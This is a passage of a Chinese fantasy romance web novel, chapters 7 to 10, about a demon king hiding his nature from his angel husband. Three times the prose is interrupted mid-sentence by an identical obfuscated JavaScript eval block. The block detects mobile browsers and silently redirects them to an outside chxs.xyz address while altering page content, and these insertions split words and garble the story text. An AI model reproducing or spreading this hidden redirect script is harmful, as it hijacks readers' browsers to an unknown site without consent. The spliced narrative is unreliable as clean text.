《不要踩魔王的尾巴尖》 7. 打个架吧。 亚德西莫·塞西,不愧是神界历代的天使长中最负盛名且任职时间最长的一位,不仅实力强大工作能力优越,在哄骗年轻魔王的手段上,也是寻常天使望尘莫及的存在。 一句话就将初入社会阅历尚浅的魔王陛下撩得脸红心跳,又是羞恼又是感动,实在是不好意思听伴侣继续说那些让魔害羞的情话,拉着他就赶紧走进了店铺:“知道了知道了,塞西好啰嗦哦。” 凑巧的是,这一家新开店铺的老板,竟然和阿瑞斯之前常去的那家杂货店老板是同一名。 阿瑞斯红着脸加快脚步往里走,抬起头来和那双似笑非笑的美目对视上时,还有点懵:“洛安娜小姐?” 洛安娜小姐,也就是店铺的老板,撑着下巴坐在前台后面,目光在面前两名同样俊美但又动作亲密的青年之间暧昧的打着转,最后落到了自己的“老顾客”身上:“你好啊,可爱的小阿瑞斯。” 魔王慌张地往伴侣的方向偷看了一眼,扬起点下巴皱着眉头,认真纠正:“不要叫我小阿瑞斯。” 洛安娜当然能看得出来阿瑞斯眼中的意思,也如他所愿在他伴侣的面前,给傲娇的漂亮青年一点面子:“好吧,阿瑞斯。” 阿瑞斯和亚德西莫是诺曼堡里有名的情侣,这座边缘小城里面的人们,都或多或少地听到过这两位条件优越又恩爱甜蜜的男人的爱情故事。 但也并不是每一个人都能够偶遇到他们两人同时出现的,特别是像洛安娜这种才搬来诺曼堡没有太长时间的人。 八卦之魂熊熊燃烧,但最后还是事业心获得了暂时性的胜利,洛安娜眨眨眼:“塞西老师果然是和传闻中的一样英俊温柔,和可爱的阿瑞斯站在一起简直是天生一对,要是能拥有一对我们店中新进的情侣咖啡杯就更加般配了。” 魔王陛下很不满意她偏心且不恰当的形容词:“喂。” 天使长大人倒是心情愉悦:“那麻烦您帮我们取出来一对。” “没问题!”洛安娜小姐,或者说是机智的洛安娜老板一口答应下来。 但亚德西莫仔细观察了咖啡杯的材质,表示希望能换一种更加坚硬的材质。 毕竟虽然不知道是怎么做到的,但之前的两个玻璃洗漱杯都碎得很稀烂,天使长不希望伴侣因为不小心打碎了杯子而扎破手。 洛安娜立刻表示自己的店里面不仅有新款咖啡杯,还有超级无敌世界第一坚硬,据说是高级魔法学校校长所推荐,既能打流氓又能揍魔兽的洗漱杯。 嗯,当然还是最新情侣款,用过的情侣都说好。 她一口气从库存里搬出了几大箱,然后在天使长大人优雅又迟疑地注视下,尴尬地擦掉了上方的灰尘和蜘蛛丝:“独特的产品,总是有独特的存储方式。” 阿瑞斯对于杯子什么的没有太多的兴趣,只看了两眼就移开了视线,然后余光中闪过什么亮闪闪的东西,仔细一看发现是一面镶着蓝色水晶的琉璃镜。 它精致(豪华)的构造一下子就吸引了魔王的目光,阿瑞斯眼睛亮亮地向着它所在的方向走过去。 将镜子拿起来端详了一会儿后,越看越喜欢,便想要想伴侣过来:“塞……” 光滑的镜子突然变得模糊,水纹晃动两下后,一张有着红头发的熟悉面孔出现在了镜子中。 “尊贵的魔王陛下,真庆幸您终于发现了我们,我……” 嘭! 镜子被魔王一把反扣回了货架上, 听到声音的亚德西莫从热情的洛安娜小姐的讲解推销中抬起头来,向着年轻伴侣的方向疑惑地看过去:“阿瑞斯?” 阿瑞斯:“……” “没、没事,我没事的,塞西。”阿瑞斯绞尽脑汁地想要找到合适的借口,慌乱中灵光一闪:“对了!我突然想起来,我有个厕所要上!” 在亚德西莫古怪的注视中,魔王陛下就捞起镜子硬着头皮冲进了店铺的最里面:“洛安娜小姐,借一下店里的卫生间!” 洛安娜贴心指路:“小阿瑞斯,你跑反了,卫生间在你的右手边。” 于是一道修长优雅的身影,又快速掠过了两人面前。 卫生间门砰的一声禁闭。 洛安娜小姐勾起唇:“塞西老师,你们家的小画家带着我的镜子去厕所了。” 亚德西莫:“……” 足额的金币落到了老板的桌上,洛安娜满意地清点着今日进账,大手一挥语气愉悦地表示:“您放心吧,尊敬的塞西客人,别说是区区一面镜子,就算你们现场在卫生间里搞起来了,我也不会多说一个字!” “……” “放心,”洛安娜小姐毫不心虚地拍拍胸膛:“我的嘴很严实的哦。” 亚德西莫并没有在意人类的话,虽然对“搞起来”这三个字有些兴趣,但此时显然并不是恰当的时间。 蔚蓝色的眸子注视着那道禁闭的房门,天使长大人慢慢抿起了唇。 魔王陛下很生气。 生气得甚至想要透过镜子,伸手给里面那个红头发的可恶魔族一个响亮的巴掌。 “弗尔伊德,谁允许你私自把水镜连接到人界的其他载体上。”阿瑞斯表情冷淡,隐隐能窥见底下的怒火:“你知道如果被发现,会给魔界带来多大的麻烦吗。” “抱歉,我的陛下。”弗尔伊德还是一副温和好脾气的样子,但从他黯淡的魔纹上却能看出,他此时的状态实在算不上好:“您之前交给我用来连接的琉璃水镜出了一点问题,导致我们可能无法精准地定位到您家中的那块镜子,只能通过寻找您的位置,来选择新的临时性沟通点。” 阿瑞斯敏锐地察觉到了不对劲:“为什么会出问题,明明昨晚莉莉安还有你的狗,才利用它和我交流过。” 弗尔伊德捂住脸,羞愧地说:“是的,正是小八他咬住水镜口水乱滋地跑来跑去的时候,犬牙把镜子咬碎了半截。” 阿瑞斯:“……你们最好不是在骗我。” “当然不会。”红发的魔族认真地说:“我永远不会背叛您,我的王。” 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587136|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞斯其实还想要问点其他的事情,但此时此地当然不可能是恰当的时间地点。 魔王自己甚至都别别扭扭地坐在马桶盖上,整只魔不舒服地弯曲着长腿。 “那就借此赶紧把你们没说完的半句话说了,”阿瑞斯语速加快:“能暂时控制我魔力的方法,究竟是什么?” “其实很简单,王的魔力紊乱归根结底是因为魔力太过庞大无法压制。”弗尔伊德说:“让您的魔力完全被压制显然是不现实的事情,所以我们想了一个新的路子。” 他说到这里的时候顿了一下,阿瑞斯甚至都产生了一点阴影,总感觉下一秒就要被意外情况所打断。 但幸好这一次的运气还算不错。 “那就是——消耗。” 阿瑞斯没有意外,这个词他在莉莉安的口中也听到过,随意嗯了一声,示意下属继续说。 “而众所周知,消耗魔力最有效率的方法只有一个。”弗尔伊德始终带着温和的笑意,但阿瑞斯的眉头却随着他的这句话而轻轻皱起来:“战斗。” 战斗是魔族的天赋,他们在战斗中诞生,在战斗中变得强大。 对于头脑简单四肢发达的魔来说,遇事不决就去干架。 地盘划分不清楚——打个架吧。 三角恋暧昧不清——打个架吧。 不知道晚餐吃什么——打个架吧。 这种模式看上去简单粗暴,甚至在某些种族的眼中,甚至会被嫌弃地称为“愚蠢”,但对于先天魔力就容易沸腾,相对其他种族更加难以控制的魔族来说,却的确是个在实践中通用的好方法。 战斗能将他们无处安放到处乱窜的魔力消耗掉大半,而暴躁不安的情绪也会随着魔力的消耗而慢慢趋向平稳。 因此,在大多数魔的眼中,“打架”往往才是他们想要认真谈事情的前兆。 毕竟将会影响到思维情绪的过剩魔力暂时排出后的状态,才是最稳定正常的。 阿瑞斯并不是空有一身蛮力的愚笨魔王,其实在听到莉莉丝提到“消耗”的同时,便早早地预测到了下属们所想的这个方法。 “不行。”阿瑞斯平静地指出最根本的问题:“不会有任何一只魔能够和我战斗,我会杀死他/她。” “而且两只强大的魔在人界战斗,弗尔伊德,你是想让神界那些鸟人变成疯子来追杀吗?” “按理来说的确是这样,整个魔界不会有任何一只魔能与您有一战之力,我的陛下。”魔族总是崇尚强者的,就连弗尔伊德在说这句话时,也控制不住地流露出崇敬和爱慕,但很快他又勾起唇话锋一转:“但是这可不包括哪些在深渊里的老家伙们。” 阿瑞斯忽然有一种很不好的预感:“等等,你们想干什么?” “就是您想的那样,尊贵的王,”红发魔族狡黠地眨眨眼:“我们把被您挨个打败过的那些前任‘魔王’都召唤出来了。” “嗯,包括了您的四叔叔,三舅姥爷、二姑妈……” 阿瑞斯:“……” 8. 抱着尾巴滚来滚去的小魔王 阿瑞斯简直怀疑自己是不是听错了,足足冷静了半分钟,才忍耐住了一怒之下将镜子摔到地上的冲动。 深呼吸几下后,阿瑞斯尝试着沟通,结果一开口,语气里面还是充斥了满满的不可置信:“你的意思是,你们跑到深渊里面去,把我好不容易才打败赶走了的,那群八竿子打不着的讨厌亲戚们,又全部给找回来了?” “是的,我亲爱的陛下,”弗尔伊德啊了一声,又补充道:“虽然说过程还是挺坎坷的,但是他们都表示很愿意到人界来帮助您。” 阿瑞斯:“……” 魔族视强者为尊,最强的那只魔就是魔王,每一只强大的魔王诞生的时候,魔界都会产生或多或少的异变,来暗示子民们,新的王正在孕育。 但暗示也没有太多的作用,王位的获得,最终还是只能靠自己。 能够打败现任魔王,从祂手中取得王冠的那只魔,就会成为魔族新的王,而被打败的“旧王”则会被驱逐至深渊。 一般而言,现任魔王在发现异变出现时,为了守住自己的王位,都会暗中提前寻找到那只可能会成为新王的幼魔。 杀死祂或者驯化祂。 从而延续自己的统治。 但阿瑞斯的诞生却格外得与众不同。 他就出生在深渊的边上,具体是哪里,谁也不知道。反正等深渊里的“前任魔王”们发现他时,他已经是一只长着犄角和翅翼,天天抱着尾巴滚来滚去的“小魔王”预备役了。 强大的气息随着阿瑞斯的长大越来越明显,或许用不了多久,现在的王就会嗅到味道追杀过来。 然而在这之前,“小魔王”就滚啊滚,滚啊滚。 一不小心就滚进了深渊里,和里面正围在一起打牌的前魔王们大眼瞪小眼。 或许就是那么简短的几秒的对视,让这些曾经的强者们,忽然就从这一只圆滚滚的小东西身上看到了新的希望。 不,或者说是一个邪恶的计划就此诞生…… “弗尔伊德!”阿瑞斯实在忍不住打断了下属,脸颊因为羞恼而升起点红晕:“没错,我承认他们曾经共同抚养保护了我,但这并不是他们借此机会跑出深渊,还在魔界为非作歹嚣张跋扈的理由!” “但是陛下,只有这些大人们,才既能做到与您战斗,也不会导致造成太大的破坏而被发现。”弗尔伊德这样说。 阿瑞斯抿住唇:“你是说……在‘领域’里面战斗吗?” 能达到魔王等级的魔,不管是曾经还是现在,都会拥有领域,在领域中,他们就是一切的主宰,只要他们愿意,不管在里面造成什么样的动静,都不会被外界所发现。 阿瑞斯的领域吞并毁灭性太强,还容易失控,如果仅仅只是为了消耗魔力的话,实在不太适合作为主要的“战斗场所”。 但仍然被深渊所控制着的“前魔王”们就非常适宜了。 “大人们的本体毕竟还是在深渊,所以这次过来的只是他们的大半分身,领域也无法完全展开,但是那也足够了。” 弗尔伊德没有说明原因,但阿瑞斯也当然能够明白。 战斗的目的只是将魔力消耗到阿瑞斯自己能够控制的程度,不需要像王位更迭一般生死相搏,甚至于只能算得上是切磋。 地点又是在其他魔的领域内,这样的话,就算只能展开一半,也应该是足够的。 哪怕从另一个角度来说,本体仍在深渊,只派出分身过来的前任魔王们,也是最难被天使和人类所发觉的。 当然,他们自身因为受制于深渊,也不会敢在领域之外的地方大量使用魔力。 毕竟一旦被发现,就会立刻被深渊重新拉回,再次回到无聊得只能打牌遛鸟(一种魔兽)的日子。 阿瑞斯不得不承认,在新制作的药水送过来前,这是目前最好的选择。 但是…… 还是很难以让魔接受啊! 魔王尝试挽救:“或许还有其他的办法,弗尔伊德,我们不必要那么极端……” 而在门外的亚德西莫也终于忍不住靠近,语气担忧:“阿瑞斯,你是出什么事情了吗?” 阿瑞斯只能慌忙得先行回应伴侣,提高声音道:“我没事的塞西,很快就好!” 天使长大人当然能够听出阿瑞斯语气的不对劲,俊秀的眉头皱得更紧:“确定吗,可你已经在里面呆了二十分钟了,亲爱的。” 恰好此时水镜又开始扭曲波动起来,红发魔族的脸和声音都变得时隐时现断断续续:“对了,我的王,已经有一位大人正在前往人界的路上了。” 阿瑞斯被吓得冒出了两只尖耳朵,猛地站起来:“什么?” 因为太过惊吓,阿瑞斯的这句话忘记压低声音,亚德西莫的耳朵动了动,再也忍不住地敲了敲门:“宝贝,你还好吗,阿瑞斯?” “那位大人……他……就是那个……” 水镜坚强地断断续续一小阵,然后终于完全失去画面和声音,变成了一面普通的镜子。 阿瑞斯:“……” 所以到底是谁要来? 就在天使长大人,实在忍受不了,马上就要破门而入时,卫生间的门终于从里面打开了。 年轻人的黑发变得湿漉漉的,往下滴着透明的水珠,贴在略显苍白的皮肤上,就连那双紫罗兰一般的眸子也是湿漉漉的,隐隐带着水雾,哪怕轻轻抿着红唇,也怎么看都是一副被欺负了委屈得不行还要假装坚强的摸样。 亚德西莫的表情一下子就沉了下来:“谁欺负你了,宝贝。” 如果非要说的话,就是魔界那群自作主张的下属。 但显然,这种话是不可能说出来的,不管是为了隐藏身份还是维持自己的冷酷形象。 阿瑞斯摇摇头,垂下眼时,连纤长浓密的睫毛上的水珠都还清晰可见:“没有人欺负我,塞西。” 魔王根本不知道自己自以为的伪装有多么拙劣,越说越显得可怜巴巴,只是这几个字就已经让向来护短的天使长大人脸色逐渐变得难看又心疼。 “那你怎么会把身上弄湿。”亚德西莫压抑着心中恼怒的心情,尽量放缓语气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587137|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为显然情绪不对的伴侣擦干头发上的水渍的同时,开玩笑一般试探着询问:“别告诉我,你冲进厕所只是突发奇想地洗个头,或者一不小心脑袋摔到了洗手池里面这种事。” 本来就是想那么狡辩的阿瑞斯:“唔。” 魔王正纠结着到底该怎么解释自己异常的行为,余光中忽然闪过了还攥在自己手中的琉璃镜的影子。 有了! 漂亮矜贵的黑发年轻人眸光一亮,接着就在天使长和吃瓜群众的注视下,向着某一个方向走去。 步伐优雅坚定,还透着一丝隐隐的急切。 再接着,吃瓜群众洛安娜小姐的手中,就多了一面光滑的琉璃镜。 “其实,”阿瑞斯咳嗽了一声,小声解释道:“是因为它。” 亚德西莫的眸子在镜子和握住镜子的那只手上缓慢移动,语气不明:“她?” 无辜的洛安娜小姐:“哈?” 发现伴侣的关注点好像有些不对,阿瑞斯连忙纠正他,向着他的方向微微扬了扬下巴:“塞西,不是那个,是这个。” 亚德西莫恍然大悟:“是镜子的问题?” 洛安娜是个合格的老板,她立刻举手表示:“两位客人,我的货物可没有任何问题!” 阿瑞斯也点头:“没错,不关镜子的事。” 这下连亚德西莫也搞不懂了,蔚蓝色的瞳孔中出现些不解。 最后在两人的直直注视下,作为事件当事“人”的阿瑞斯又咳嗽了一声,示意两人靠近,自己撩开额前的湿发,露出漂亮精致的五官来:“看清楚了吗。” 天使长大人了然般优雅颔首,蓝眼睛里全是黄色废料:“看清了,阿瑞斯甜心,你是在邀请我接吻吗?” 阿瑞斯红了脸:“塞西!” 反而是洛安娜小姐勉强经受住了“美色”的诱惑,在那片几乎毫无瑕疵的光洁肌肤上,发现了一点小小的凸起。 这种形状和颜色的话…… “噢,亲爱的小阿瑞斯,你长痘痘了。”洛安娜捂住嘴巴噗呲一声笑出来。 阿瑞斯对于来自可恶人类的嘲笑十分羞恼,但又没办法反驳,还必须要跟着她的话走:“……没错。” 这样一来的话,刚才的一系列行为好像也勉强有了解释。 “啊,所以你刚刚带着镜子在卫生间里呆那么久,就是因为发现了这颗痘痘,那为什么会把头发和脸也弄湿呢……”洛安娜很快就有了答案:“可爱的小阿瑞斯,你不会是想通过这种方式来洗掉它吧?” 十分荒谬的想法。 阿瑞斯呼吸急促了几秒,憋了又憋,最后抿住唇瓣说:“……不要说出去。” 新开的日用品店里走出两名提着大包货物的俊美青年,而店内也在他们踏出门的下一刻,爆发出毫不掩饰的笑声。 亚德西莫轻轻地抚摸下伴侣的额角,安慰他:“没关系的宝贝,你连痘痘也同样美丽。” 魔王陛下耳朵根红了个彻底。 他发誓再也不会用浇水到身上的方式来强行控制魔力了! 9. 巴奈医生的婚姻调解处 魔王的温馨小家中,又多了一对新的洗漱杯,各种各样的咖啡杯、情侣毛巾、新款帽子…… 以及那面镶着蓝色水晶的琉璃镜。 尽管洛安娜小姐夸得花枝乱颤,但也不能掩盖它就是一面普通镜子的事实。 上面的“水晶”甚至只是路边摊也能买到的便宜货,大方的洛安娜小姐在两人购买了一大包东西后,直接将这面镜子送给了阿瑞斯。 现在,它就正被摆放在卧室里面,床对面的矮柜上。 阿瑞斯一盯着它看,就会联想到突然出现的红头发下属,眸子往正在专心撰写教案的伴侣身上停留了半秒,一下子就有些心虚。 于是,魔王决定悄悄地将它丢掉。 但手指才刚刚碰到镜子的边缘,腰腹部就被人搂住了。 “宝贝,你知道你在我面前的存在感有多强吗,”亚德西莫的纤长手指隔着一层薄薄的家居服,在伴侣的腹部打着转:“我完全控制不住自己的目光。” 阿瑞斯的动作一顿。 作为高级魔法学校的老师,在大多数的时候,塞西的工作都会比自己更忙一些,否则也不会出现之前那种大晚上还要赶去学院处理事情的情况。 这一次其实只有阿瑞斯自己是真的在休假,而伴侣则是为了补偿前一天的分离,将全部的工作都带回了家里,甚至还请了半天假。 阿瑞斯侧过一点头,然后就撞进了天使长大人蔚蓝色的带着笑意的眸子里面。 并且精准地发现了一点他眼底的青黑。 魔王陛下有些心疼,当即立刻表示道:“抱歉塞西,我打扰到你了。” 完全不是这个意思的亚德西莫:“……什么?” 阿瑞斯越想越觉得不好意思,自己在伴侣面前隐瞒了那么多年的身份,还因为魔力紊乱给塞西舔了很多麻烦,现在甚至还打扰到了他的工作。 实在是太不应该了。 任何一只魔都会因为给伴侣带来负面影响而感到羞愧。 哪怕是尊贵而年轻的魔王陛下。 “阿瑞斯,我不是……” “我先出去吧,顺便去找找牛奶,”阿瑞斯松开伴侣缠在自己腰上的手臂,转过身用额头蹭了蹭他的脸颊,轻声说:“等你弄好了我就回来。” 阿瑞斯的动作太快,快到天使长大人话还没说完,甚至没来得及拉住他,面前就没有了漂亮青年的身影。 嗯,连同着柜子上的那面镜子。 到底是怎么了,明明上午还是好好的。 亚德西莫慢慢地抿起了唇,指尖摩挲了两下空落落的手心,望着前方半开的门,心中莫名产生一种事情在脱离自己掌控的感觉。 蔚蓝的眸子中隐隐显现出一圈金色,紧接着面前的墙壁就开始涌上波痕,温暖的光晕里面,一道撅着屁股哼着歌,背后的翅膀还晃晃悠悠的天使身影就出现在了面前。 “别唱了。” 巴奈被突然出现的声音吓得差点一翅膀把桌子掀飞,转过头发现了熟悉的面孔后,才松口气。 “尊敬的亚德西莫大人,您就非要选择这样神出鬼没鬼鬼祟祟的方式吗,”巴奈实在是不能理解:“明明诊所距离您的爱巢只有不到三条街的距离。” 但显然,天使长大人现在并没有多余的闲心和下属扯东扯西,他的表情算不上太愉快,甚至有些难看。 一看就是刚刚才栽了个大跟头的样子。 巴奈敢打赌就算是用魔族的小脑想,也能猜出那个胆敢让强大可怕的天使长大人吃亏的人是谁。 他露出个幸灾乐祸的笑,打趣道:“怎么了,难道是与小阿瑞斯吵架了不成。” 亚德西莫皱着眉头:“不算。” “那又是怎么了,”巴奈满口胡言乱语:“总不能是他终于发现了婚姻才是人类的坟墓,就此醒悟离家出走了吧。” 天使长大人冷漠地注视着他,瞳孔中的金色波动得却越来越明显。 巴奈:“……不会吧。” “我不知道,他以为我在忙工作,但阿瑞斯应该明白的,工作怎么会有他重要,”亚德西莫鲜少会有这样情绪外露,甚至有点迷茫的样子:“可他却头也不回地往外走了,说是去找牛奶,以前从来不会这样的。” 巴奈莫名有一种自己走进了居民调解委员会的错觉,足足在心理面做了长达十几秒的建设,才试探着开口:“也许他真的只是去找牛奶?” “他以前都是和我一起去找的。”亚德西莫越想越觉得奇怪,捂住心口喃喃自语道:“然后我们会借此去咖啡馆喝一杯热咖啡,去江边散步,去挑选新的领带和袖扣,最后站在夕阳底下接吻。” 巴奈:“……”不知道为什么总觉得他是在秀恩爱。 “所以您想要我做什么呢,天使长大人。”巴奈几乎是咬着牙这样问出来。 亚德西莫就等着他说这句话,轻轻勾起唇:“他会过来找你的,巴奈,我需要你帮我打听清楚,我们之间到底出了什么问题。” ? 巴奈很无语:“等等!您怎么知道他一定会过来找我,我的诊所是什么婚姻调解处吗!” 天使长大人似笑非笑地盯着下属还在扑腾着的翅膀,没有回答他的问题:“在我可爱的伴侣推开门之前,你最好赶紧将你的翅膀收起来。” ? 巴奈还想要说什么,但对面的金发天使却明显已经起了几分倦意,没有再继续交谈的意思,最后叹了口气说:“对了,诺曼堡最近多了好多魔族的踪迹,虽然是在和平期,但也实在奇怪,如果可以,希望你能帮我保护一下阿瑞斯。” “……您的精神,又出现问题了吗?”巴奈玩闹的心态收起来,多了几分严肃和担忧:“算算时间,也的确到了疗养的时候了,您是要回去神池一趟吗?” 亚德西莫摇摇头:“等这段时间过去再说,我可以先找伊斯顿救个急。” 天使在与魔族的交手中,有一定收到魔力污染的风险,但大多都可以通过神池和治愈系天使的净化来消除。 从战乱期到和平期,作为任期最长的天使长亚德西莫经历过的战斗数不胜数,也是遭受精神污染最严重的天使,严重到甚至必须每隔一段时间就进入神池疗养精神。 怪不得霍尔莫德斯文明与历史学院的院长,也是现任的,被称为加班狂魔的惩戒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587138|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天使,会给亚德西莫批假。 巴奈皱着眉头还想要说什么,却发现画面那头的天使长大人忽然扬起了眼,本来倦怠的眸子中重新染上笑意。 “别想了,你的小客人要来了。” 小客人…… “笃笃笃。” 门外传来几道有规律的敲门声,伴随着年轻人熟悉的声音:“巴奈医生,你在里面吗?” 巴奈:“……” 阿瑞斯也不知道自己是怎么回事,在发现自己可能打扰到了伴侣之后,情绪忽然就低落了下来。 魔王从来都不是一个天天自怨自艾的人,大多数的时候,他都是骄傲矜贵,甚至有几分自负的。但或许是这一段时间以来,几乎每一天都过得战战兢兢,生怕稍微不注意就暴露了魔族的身份,甚至更严重地因为魔力失控而伤害到伴侣,让阿瑞斯都忍不住感到惶恐无措。 有几天,阿瑞斯每天晚上都做噩梦,梦到自己变成了魔的原形,利爪扯碎了塞西的身体,尖牙撕咬了塞西的血肉,被吓醒后甚至不敢从被子里面钻出来,害怕睁开眼看到的就是伴侣可怕血腥的尸体。 仅仅只是失去了能隐蔽平衡魔力的药水,就变成这样慌不择路的样子,还要麻烦比自己脆弱千万倍的伴侣来为自己善后,光是想想,阿瑞斯都觉得脸热。 这也变相地又一次提醒了阿瑞斯,自己和伴侣的身份种族差距。 人类和魔族,不管从那个方面来看都不适配。 弗尔伊德他们是忠心的下属,对于王的选择不会有任何的异议,但在听到“王后”是一名人类后,还是陷入了好一阵的沉默。 不会有任何魔祝福他们,阿瑞斯很早就知道这件事情,如果邻居们知道了他的身份后,也同样会对这种关系感到厌恶和恐惧。 但那又如何,魔王总是固执而高傲的,不管是哪一任,他们总是自负地始终坚信着自己在做正确的决定。 阿瑞斯本来也是如此。 可这都建立在,塞西不会离开自己的前提下。 但是自己魔族的身份,或许终有一天他也会到对立面,毕竟就连简单的魔力紊乱,都已经给塞西带来了无数的麻烦。 而下属今天的话,也代表着更大的麻烦正在靠近着他们的小家。 阿瑞斯越想越沮丧,忍不住鼻子发酸,不敢让伴侣发现,假装出去找猫,就推开门跑了出去。 在街道上胡乱转了一阵,迷迷糊糊地就走到了熟悉的宠物诊所门前。 门是关着的,但阿瑞斯能感受到里面是有人存在的,敲了几下门后,戴着眼镜的医生果然起身来开了门。 “这不是小阿瑞斯吗,”医生夸张地啊了一声,眨眨眼说:“没有在家陪塞西老师?” 巴奈将天使长大人给的任务记在心里,开口就是一句试探。 然后就清晰地看到面前青年的眼眶慢慢泛起了红,水雾在那双如紫罗兰般的美丽眸子里面汇聚,连声音都显得委屈又倔强:“巴奈医生。” 巴奈:“……” 他脑子一热,瞬间就倒戈阵营,气愤道:“是不是塞西那小子欺负你了?!不怕,巴奈哥哥给你做主!” 10. 阴阳怪气笑里藏刀 作为四翼天使,巴奈在神界的地位说不上太高,但也当然不可能说是低,新生的小天使们看到他也会尊敬地喊一声“巴奈大人”,平日里的忙得也都是拯救世界保护人类这样高大上的工作。 反正至少他从来没有想到自己会有一天变成调解情感纠纷家长里短的专业人员。 还是乐在其中的那种。 用来伪装的眼镜已经被主人随手丢到了一边,巴奈医生的姿势也从严肃端正变成了自然随性,用于记录的纸笔更是完全没有使用的机会。 随着魔王陛下的倾诉,他时不时夸张皱眉,时不时惊讶捂嘴,偶尔还感同身受地叹气,撑着下巴目光专注,俨然已经是一副听八卦的模样。 阿瑞斯长舒出最后一口气,眉梢还是烦恼沮丧地微蹙着:“事情大概就是这样了,巴奈医生,我到底该怎么办?” 巴奈转着笔,消化了一小会儿后,迟疑又试探着总结:“小阿瑞斯,你的意思是,觉得自己和塞西之间差距太大,自己最近又出了一点问题,所以担心自己会给他制造太多的麻烦,并且不被认可,所以觉得有点害怕对吗?” 阿瑞斯抿住唇点头:“嗯……差不多是这样。” “噢如果是这样的话……”巴奈又回忆了一遍刚才年轻人东拼西凑来的一大段话,忽然觉得自己还是无法理解:“但你们一个画家一个老师,哪里来的什么差距?” 阿瑞斯当然不可能自爆身份,只能遮遮掩掩含糊其辞:“也不一定只有这个方面。” 巴奈听得也是一头雾水,想到上司最后交给自己的任务,又开始尝试着努力分析:“那还能是什么方面,性格?爱好?外形?经历?难不成还能是性-生活不和谐?” 他本来也只是随口乱举例,自己都觉得不可能,毕竟天使长和阿瑞斯的这段婚姻,虽然总是被其他天使酸溜溜地阴阳怪气,但也是大家一路看着走过来的,明明这些方面都和谐得很。 谁料面前的漂亮青年犹豫了几秒,最后竟然轻轻点了下头:“都有吧。” 巴奈:“……” 正在暗中偷窥的天使长大人:“…………” 虽然亚德西莫自始至终都没有泄露出任何气息,但同为天使的巴奈当然是能感受得到他的存在,甚至还隐隐感觉那双总是令人战战兢兢的蔚蓝眸子,正在直直盯着自己。 或者说是坐在自己对面的美丽年轻人。 一股胆颤的寒意一下子就涌上了巴奈的背后,他冷静地用了三秒钟思考,到底是选择被天使长直接灭口,还是听完八卦后再被他灭口。 然后果断地选了后者。 “我的天哪真是想不到,”巴奈忍不住兴奋,靠过去一点,甚至小幅度地抖起了腿:“小阿瑞斯,你展开说说。” 那股子寒意瞬间更重了点,巴奈连忙退回到一个安全距离,咳嗽一声后正色道:“我的意思是,我来帮你分析分析。” 阿瑞斯苦恼地叹出一口气:“这也是我来找你的目的,巴奈医生。” “所以,你为什么会觉得你和天……塞西,在……嗯那么多的方面都有差距呢?”巴奈这样说:“也许是你想多了,小阿瑞斯。” 当然不可能是想多。 魔族和人类在生理上具有与生俱来的天差地别。 不管是在性格、体型、爱好还是在性-生活上。 并且这些差距,随着魔王的魔力的掌控度削弱,会更加明显,直到发生无法挽回的灾难。 于是巴奈就又眼睁睁地看着阿瑞斯红了眼睛,这一次不仅是眼眶,甚至连眼底都染上了红色,显得很可怜。 “啊唔。”魔王垂下眼,伸出手捂住了发烫的眼皮,后来甚至干脆将脑袋埋到了手臂上,像是在压抑着情绪,又像是在逃避,声音闷闷的:“不是想多,这是客观存在的问题,我没有办法,巴奈……” 这么难过。 难道天使长在那方面真有那么不行? 巴奈思维发散了几秒,然后在暗处的天使长大人的威胁下,连忙继续劝导:“我明白我明白,但这是很正常的事情阿瑞斯。” “这个世界上从来就没有完全一模一样的生灵,不管是人、天使、精灵、甚至是魔族之间,都不可能。” 在听到“魔族”两个字时,阿瑞斯的耳朵尖动了动,抬起头眼睛来,紫色的瞳孔变得红通通的,有些迷茫地望着医生。 “就像你说的,差距是客观存在的,因为个体差距所带来的冲突矛盾也是存在的,我们都不能否认。”巴奈煞有介事地这样胡说八道,瞟了一眼对面的年轻人,发现他正在认真地沉思,知道他是听进去了,咳嗽一声后继续道:“但是小阿瑞斯,你还需要知道一件事。” 阿瑞斯的睫毛上都沾了水珠,眨眼眨得很慢:“你说。” “塞西很爱你。” 阿瑞斯抿住了唇,一下子又变得无措了,随着医生的这句话,心底涌上一层层酸酸甜甜的感受。 “你也是爱着他的,对吧?”巴奈试探着问出这句话,他能感受到在暗处隐藏着的那道视线瞬间也变得紧张专注起来。 “当然!”阿瑞斯想也不想地就回答,甚至还有些不满巴奈质疑自己,来自魔王的爱都是执拗的,他又坚定地重复了一遍:“我会用我的生命去深爱塞西。” 魔王的生命是无穷无尽的。 这是一个甚至有几分偏执霸道地告白。 阿瑞斯说完后才觉得害羞,但又不想被医生看出来,假装成游刃有余的冷静模样。 